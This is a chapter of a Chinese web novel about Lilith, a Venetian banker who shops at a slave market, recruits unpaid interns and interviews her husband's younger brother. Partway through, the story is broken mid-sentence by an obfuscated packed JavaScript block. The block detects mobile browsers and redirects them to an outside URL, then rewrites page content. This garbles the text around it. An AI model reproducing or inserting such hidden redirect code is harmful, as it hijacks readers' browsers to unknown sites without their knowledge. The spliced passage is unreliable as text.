莉莉斯已经在这条航线上往返了无数次。从早到晚忙活了一整天,她感到很累,于是便靠在船舷上看向一望无际的大海发呆放空。突然,一阵翻涌的呻吟打断了她的休息,她才注意到是坐在她对面的海因里希正在向大海里呕吐。 “你怎么了?”莉莉斯从腰间的口袋中抽出手帕递给他。 “我没事。”海因里希没有接过她递来的手帕,而是从腰包中掏出了自己的手巾把嘴擦干净,“只是我一想到要回到那个地方就有点犯恶心,唤起了一些不太好的回忆。” “……” 莉莉斯突然感觉有些抱歉。除了夏洛克,她的每一个下属都是从这座奴隶岛上买来的,可是她从来没有考虑过塞西莉娅她们每次陪她来时的心情。她们都是女人,在被买走之前,或许遭遇过比海因里希所经历的还要更加恶劣的对待吧。看来她作为她们的老板与女主人,不仅得在做生意的时候精打细算,还须多多关照一下员工的心理健康。 “对不起。”莉莉斯轻声对他说,“我没有办法想象你具体经历过什么……我知道那一定很糟糕很痛苦。但是都已经过去了,你现在是自由人,而且还是我手下的人,没有人可以轻贱你,你再也不用经历一遍那些糟糕的事。” “变成自由人了就不能再退货退款了对吧。”海因里希故意摆出一幅委屈巴巴的表情。 “早就过了退货时限了。”莉莉斯笑着揉了揉海因里希的头发,将他梳理整齐的三七分金发揉乱,“你还算挺乖的。只不过未来我们要面临的挑战与风险越来越多,还得再接再厉才行。” “我一定不会让您失望的。” “你跟着我这段时间也能看出来,我跟克纳罗家的关系并不好,除了埃莱娜姑姑以外我在那个家里没有任何可以信任的人,这也是为什么我不敢聘用任何与他们有关系的家伙,甚至不敢聘用威尼斯人,谁知道他们是不是与克纳罗家沾亲带故。”莉莉斯无奈地苦笑道,“七岁以前,我和母亲还没有被父亲接回家去,妈妈就租住在夏洛克名下的公寓里,那时候他还是赌场聘用的帐房,也同时经营地下放贷业务。他看着我从小长大,甚至比我父亲还更关心我。” “请您节哀。” “是我不好,我不该安排他一个老人家独自去处理这么危险的工作。”莉莉斯自责地弯下腰去,双手扶额,“如果不是得到了他的帮助,我根本不可能开得起这家银行。威尼斯人总对犹太人抱有偏见,将他们的小心,细致,还有对利润、价格与数字的敏感抹黑成吝啬与斤斤计较,可这些对银行家而言都是最重要的品质。难道你会放心把你的钱交给一群大大咧咧且爱慷他人之慨的糊涂虫吗?” “显然不会。” “正是如此。”莉莉斯咬牙切齿道,“说实话,我并不信任你能够完全胜任接替夏洛克的工作。但是没办法,比起聘请一个我根本不信任的人,我情愿找一张像你这样的白纸从头开始教,尽管这很耗费时间……” 莉莉斯和海因里希有一句没一句地闲聊着,没过多久船便靠岸了。莉莉斯从包里掏出来两个制作精巧的黑色面具,一个自己戴上,一个递给海因里希。 29. 比奴隶好用的实习生 “这批货真是烂透了,你们就拿这种东西来糊弄我是吧。” 莉莉斯一个劲地扇着手里的黑色蕾丝折扇,试图驱散奴隶身上的汗味与劣质香薰混杂在一起的恶臭气息。 半句意大利语都说不了的外邦人,骨瘦如柴形同枯槁的残疾人,还有奇丑无比的侏儒。这些人若是买回去了,莉莉斯不仅获得不了任何收益,额外培训和伤病治疗又是好大一笔费用,而且长得不好看,每天看见了还糟心。 “尊贵的夫人……您也知道,最近热那亚与威尼斯共和国之间大小争争斗不断,咱们这儿的进货渠道也多少受到一些影响……”大腹便便的奴隶贩子一个劲地给莉莉斯鞠躬道歉,恨不得在她面前跪下来。 ”浪费我时间。”莉莉斯翻了一个白眼,扯过海因里希的袖管扬长而去,“我们走!你给我小心点,要下次还是这个质量,我们以后再也不来了。” “诶哟,夫人……您息怒呐……” 奴隶贩子道歉的回声还在走廊中回荡,莉莉斯就已经牵着海因里希离开好远了。她没好气地一路拉着他回到船上,用近乎仇视的眼光扫过每一个路过的伙计或是客户,仿佛像是在向人炫耀这唯一一件拿得出手的战利品。 “真就一个合适的都没有。”莉莉斯气得脸都绿了,“难道真的得去外聘一些又贵又心怀鬼胎的老东西来我的银行吗?简直是引狼入室。” “您要实在不愿意聘请已经有工作经验的老混子,倒也有一个折衷的解决办法。”海因里希对她说。 “什么办法?” “招学徒,也就是实习生。以提供学习机会的名义去招揽他们,再搞一些实习证明、考勤评奖,未来转正机会之类的噱头忽悠他们。一分钱的工资都不需要付,就可以让他们为你工作了。” “真的假的?”莉莉斯狐疑地挑眉。 “您将招聘公告张贴出来一段时间,看看有没有人投递就能知道真假了。” “好吧。那你今晚回去把公告写好,明天早上给我过目完了就贴在门外头。” “遵命。” 莉莉斯对海因里希的提议有效性持怀疑态度。怎么可能有自由人会愿意不收取工资就凭白无故给人打工呢?但是不用付出什么成本,试一下也未尝不可。 第二天一早,莉莉斯睡眼惺忪地爬起来,随意扫了一眼予以批准海因里希写的招聘公告之后,便在塞西莉娅的陪伴下备着厚礼去慰问夏洛克的家属。幸好他的妻子身体健康,孩子也已经成家立业,骤然离世没有给家庭造成什么经济上的负担,只有无尽的惋惜与哀叹。夏洛克夫人将原属于夏洛克的那枚L. C. Schmidel徽章还给了莉莉斯,并邀请她去参加夏洛克的葬礼。 下午,她一回到自己的办公室,便看见有上百份简历与求职信堆在了她的办公桌上,堆得像山一样高。 “这是怎么回事?”她恼怒地质问着把更多简历持续不断搬进办公室的海因里希。 “这是我们截止今天下午收到的实习申请。”海因里希将桌上堆不下的木质文件框干脆堆在地上。 “快去把外面公告撕了!停止招聘!这也太多了,我怎么审得过来啊!” “遵命。我这就去撕。” “等下!这些信封上涂了绿色火漆蜡的是什么意思?” “哦,是这样的。涂了绿色火漆蜡的都是与咱们客户有关系的小孩,红色火漆蜡的则是与克纳罗家沾亲带故的人,还有蓝色火漆蜡的……”海因里希瞥了一眼被放在纸摞最上方的那封求职信,“是施密德尔家的人。” “什么?施密德尔家?” “对,就是您丈夫的家族,来自美因河畔法兰克福的施密德尔家。”海因里希仔细观察着莉莉斯的反应,“他的名字叫威廉·施密德尔,似乎是您丈夫的弟弟。” “我丈夫的弟弟?他不好好在法兰克福待着,怎么跑到威尼斯来了?”莉莉斯顺手用拆信刀拆开那封求职信,将羊皮纸摊开在手中。 “我前段时间听说,同样来自德意志的福格尔家族也将家族子弟送来了威尼斯实习,旨在学习会计和财汇知识。或许施密德尔家族也想效仿这种行为送孩子来历练吧。” “让他过来面试看看吧。我的银行毕竟顶着‘施密德尔’的名字,总不能拂了夫家的面子。”莉莉斯把威廉的资料放在一边,盯着面前剩下的一大沓简历为难地眨了眨眼,“剩下的这些嘛……客户的关系不好随意拒绝,但这波人真要招进来了也不好使唤,不如你之后办一个为期一周的实习体验项目,把这群人带过来开开会、算算术、聊聊天,就当是完成了实习。重点是得给项目起个好听的名字,比方说‘L.C.施密德尔银行春季实习周’之类的……” “这也要我来负责?”海因里希皱起了眉头,“除此之外,我还要主管招聘、调查夏洛克的死因以及做日常财报记录。” “把任务都交给你是对你的信任嘛,亲爱的。”莉莉斯露出一个撒娇似的笑容,“然后再从没有关系的那堆里挑一个家里没有靠山,肯吃苦,好拿捏的,以后脏活累活都丢给他干。至于其他那些嘛……把他们的档案按照姓氏字母顺序整理好收起来,尤其是与克纳罗家有关的那些人,还有别的贵族子弟,他们的履历资料留着说不定以后能派上用场。你要是实在忙不过来,就让塔塔来帮你吧。” “……知道了。” 海因里希默默将两大叠求职信原封不动地又搬出了莉莉斯的办公室,堆积在一个空出来的工位上。他看向了瘫坐在椅子上,将两条腿翘上了办公桌的塔塔——无所事事的吉普赛小女孩正在一边悠闲地哼歌一,一边摆弄着几络颜色各异的彩线。 “塔塔,你过会儿来帮我理一下这些资料。” “这是你分内的工作吧。”塔塔不耐烦地抬起头,“夫人安排给我的工作一向都是由塞西莉娅传达的,什么时候也轮到你来使唤我了。没看到我正在忙着吗?” “这样吧,我一会儿要出门去请夫人要见的应聘者,回来之后和你一起理。你在忙什么?” “我在给夫人编蕾丝钩花手链。”塔塔见海因里希似乎没有要强迫她立刻开始干活的意思,态度顿时缓和了不少,把手里做到一半的作品展示给他分享,“你看,我买了桃粉色、紫罗兰色和银色的彩线,三股线编在一起就可以做蕾丝手链了。” “夫人不是一向都穿黑裙子居多吗?” “那是丧服。她总有一天要脱下来的,总不可能一辈子都穿黑嘛。”塔塔的手指动作飞快,不一会儿就编出来一朵玫瑰花的图案,“其实夫人的衣柜里还有好多五颜六色的漂亮裙子,她以前很喜欢穿白色和粉色的裙子。” “像她的名字莉莉安娜一样吗?(注:莉莉安娜Liliana的词根来源是lilium,意思是百合花)” “是啊,莉莉安娜,而不仅仅是‘放贷的莉莉斯’。”塔塔自顾自地小声念叨着,声音轻到明显不打算让海因里希听清,“夫人以前是一个很活泼爱笑的人,可是自从银行开张之后,她就每天都是眉头紧锁一肚子气的模样,我都好久没有看见过她笑了……” 海因里希没有功夫再与她闲聊,他快步走去威廉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973654|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下榻的酒店把已经整装待发的受试者请到了银行的总裁办公室门前。兄弟俩互相对了个眼神,海因里希便敲响房门,在获得允准后将弟弟送了进去,自己则坐在莉莉的旁边充当面试官的一员。 “欢迎来到L.C.施密德尔银行的实习生面试现场,我是本行的首席执行官、董事长兼行长莉莉安娜·克纳罗·施密德尔,也是你的嫂子。”莉莉安娜郑重地伸出右手与威廉握手致意,表情里满是惺惺作态的哀怨: “真没想到会以这种方式见到你,亲爱的威廉,你或许出发前已经从家长那里得知了你的兄长,也就是我的丈夫海因里希不幸去世的消息。克纳罗家为他在威尼斯举办了庄严肃穆的葬礼,过两日等我有空了,我可以带你去拜访他的陵墓。” “多谢夫人的好意。是的,家母在得知兄长去世的消息后悲伤不已。她接连失去了丈夫与儿子,整日以泪洗面,哭得眼睛都快看不见了。”威廉的意大利语水平其实并不算熟练,但这些面试中准备要说的话已经在海因里希的鞭策下反复对镜背诵练习了无数遍,所以表达出来很是流利。 “什么?公公他……”莉莉斯十分惊讶地捂住嘴巴,装出一幅几乎要昏倒过去的模样,“慈悲的天主啊!请您不要再对忠诚正直的施密德尔家降下惩罚!我情愿让克纳罗家的人来承受这一切痛苦,好平息您无上的怒火!” 威廉第一次见识这种唱歌剧般夸张的遣词造句。这怎么办!?这没练过啊!他不知所措地偷偷瞄向哥哥,正好瞥见海因里希对莉莉斯默默翻了个白眼。 “哦,不,请您千万不要说这样的话……您……您毕竟是我的嫂子,在我眼中克纳罗家也是我的亲人,哦,请天主为克纳罗家赐福……这也是为什么,母亲会将我送来威尼斯,就是希望我能在克纳罗家的帮助下尽快成长起来……” “我看你成长得挺好的呀,今年多大了?16?长得比我都高了吧。”莉莉斯见威廉识相地接茬了,满意地从上往下打量他,“我听说有的地方好像有弟娶寡嫂的习俗,你不会是抱着这种目的来接近我吧?” “绝对不是!在我们那边绝对没有这样的习俗……”威廉刚说完,才意识到自己的母亲正即将要被迫嫁给他的叔父,突然悲从中来,忍不住说了些心里话,“说实话,短期内我都并没有要结婚的打算。父兄去世,我是家里年纪最大的儿子,我只希望能尽快成长为独立的大人,保护好我的母亲和弟弟妹妹。” “有志气是件好事。可是你在我这里能为我带来些什么呢?亲爱的威廉。” “我什么都能做!招揽客人,计算账单,送货跑腿,甚至洗衣做饭,打扫卫生都可以交给我。会做的都能做,不会的都可以学。” “那你需要多少报酬?” “我不需要报酬!如果可以的话,我想要一个住的地方和一些吃的东西……” “成交。”莉莉斯将一个新做好的LCS银质徽章抛给威廉,“正好咱们行楼上有一个带床铺的空房间,收拾一下也能住人。明天就开始上班吧。海因里希,你来安排他的工作。” “海因里希……?” “对了,忘记向你介绍一下,他是我们公司的首席财务官,正好也叫海因里希。”莉莉斯微笑着和威廉闲聊,“海因里希……你哥哥的名字很好听,这个名字在德语里是什么意思?” “是‘一家之主’的意思。”威廉有些尴尬地解释道,觉得自己好像说了什么不该说的话。 “哦,原来是这样啊。”莉莉斯的脸突然就黑了,冷冰冰的目光投在海因里希身上,盯得他背脊发凉。